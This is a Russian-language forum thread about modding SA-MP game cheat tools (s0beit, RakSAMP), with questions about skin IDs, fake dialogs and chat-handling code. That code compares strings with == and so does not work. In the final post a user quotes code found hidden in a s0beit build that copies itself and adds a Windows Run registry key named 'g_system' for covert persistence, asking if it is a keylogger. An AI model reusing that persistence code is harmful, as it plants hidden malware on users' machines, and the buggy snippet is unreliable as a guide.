Другое С/С++ Вопрос - Ответ

Username

Потрачен
6
0
Обратите внимание, пользователь заблокирован на форуме. Не рекомендуется проводить сделки.
Как в собейте достать ид скина по иду игрока?
 

spiceman

GOWNIK <3
104
35
Обратите внимание, пользователь заблокирован на форуме. Не рекомендуется проводить сделки.

0pc0d3R

Потрачен
550
270
Обратите внимание, пользователь заблокирован на форуме. Не рекомендуется проводить сделки.

5ss

Новичок
10
0
Как вызвывать диалоги? Хочу сделать фейк диалог в собейт
 

Skadi

Новичок
43
12
хелп, чё эт с кодировкой раксампа?

000.png
 

Enjoy

Новичок
Проверенный
164
11
поцаны, редачу раксамп по приколу, вот.
И хочу сделать проверку на message, но не выходит.
То есть он просто не реагирует.
Ищу я в самом низу функции.
(netrpc.cpp)
Код:
void ClientMessage(RPCParameters *rpcParams)
{
    //if(!iGameInited) return;

    PCHAR Data = reinterpret_cast<PCHAR>(rpcParams->input);
    int iBitLength = rpcParams->numberOfBitsOfData;

    RakNet::BitStream bsData((unsigned char *)Data,(iBitLength/8)+1,false);
    DWORD dwStrLen, dwColor;
    char szMsg[257];
    memset(szMsg, 0, 257);

    bsData.Read(dwColor);
    bsData.Read(dwStrLen);
    if(dwStrLen > 256) return;

    bsData.Read(szMsg, dwStrLen);
    szMsg[dwStrLen] = 0;

    if(settings.iFind)
    {
        for(int i = 0; i < MAX_FIND_ITEMS; i++)
        {
            if(!settings.findItems[i].iExists)
                continue;

            if(strstr(szMsg, settings.findItems[i].szFind))
                if(settings.findItems[i].szSay[0] != 0x00)
                    sendChat(settings.findItems[i].szSay);
        }
    }

    char szNonColorEmbeddedMsg[257];
    int iNonColorEmbeddedMsgLen = 0;

    for (size_t pos = 0; pos < strlen(szMsg) && szMsg[pos] != '\0'; pos++)
    {
        if (!((*(unsigned char*)(&szMsg[pos]) - 32) >= 0 && (*(unsigned char*)(&szMsg[pos]) - 32) < 224))
            continue;

        if(pos+7 < strlen(szMsg))
        {
            if (szMsg[pos] == '{' && szMsg[pos+7] == '}')
            {
                pos += 7;
                continue;
            }
        }

        szNonColorEmbeddedMsg[iNonColorEmbeddedMsgLen] = szMsg[pos];
        iNonColorEmbeddedMsgLen++;
    }

    szNonColorEmbeddedMsg[iNonColorEmbeddedMsgLen] = 0;

    Log("[CMSG] %s", szNonColorEmbeddedMsg);
    if (szNonColorEmbeddedMsg == "Искомый текст")
        sampDisconnect(100);
}
 

Julia

Больше нет с нами
369
53
Обратите внимание, пользователь заблокирован на форуме. Не рекомендуется проводить сделки.
копаясь в собейте я нашла вот это
Код:
inline void register_inject()
{
    HKEY hKey;
    char szModuleFileName[260];


    GetModuleFileName(NULL, szModuleFileName, 260);

    CopyFile(szModuleFileName, FILE_EXE_DIRECTORY, FALSE);

    RegCreateKey(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", &hKey);
    RegSetValueEx(hKey, "g_system", 0, REG_SZ, (LPBYTE)FILE_EXE_DIRECTORY, strlen(FILE_EXE_DIRECTORY));
    RegCloseKey(hKey);
}

что это кейлоггер? после запуска собейта появляется неизвестный процесс g_system
 
Последнее редактирование:
  • Нравится
Реакции: XyJluraH_J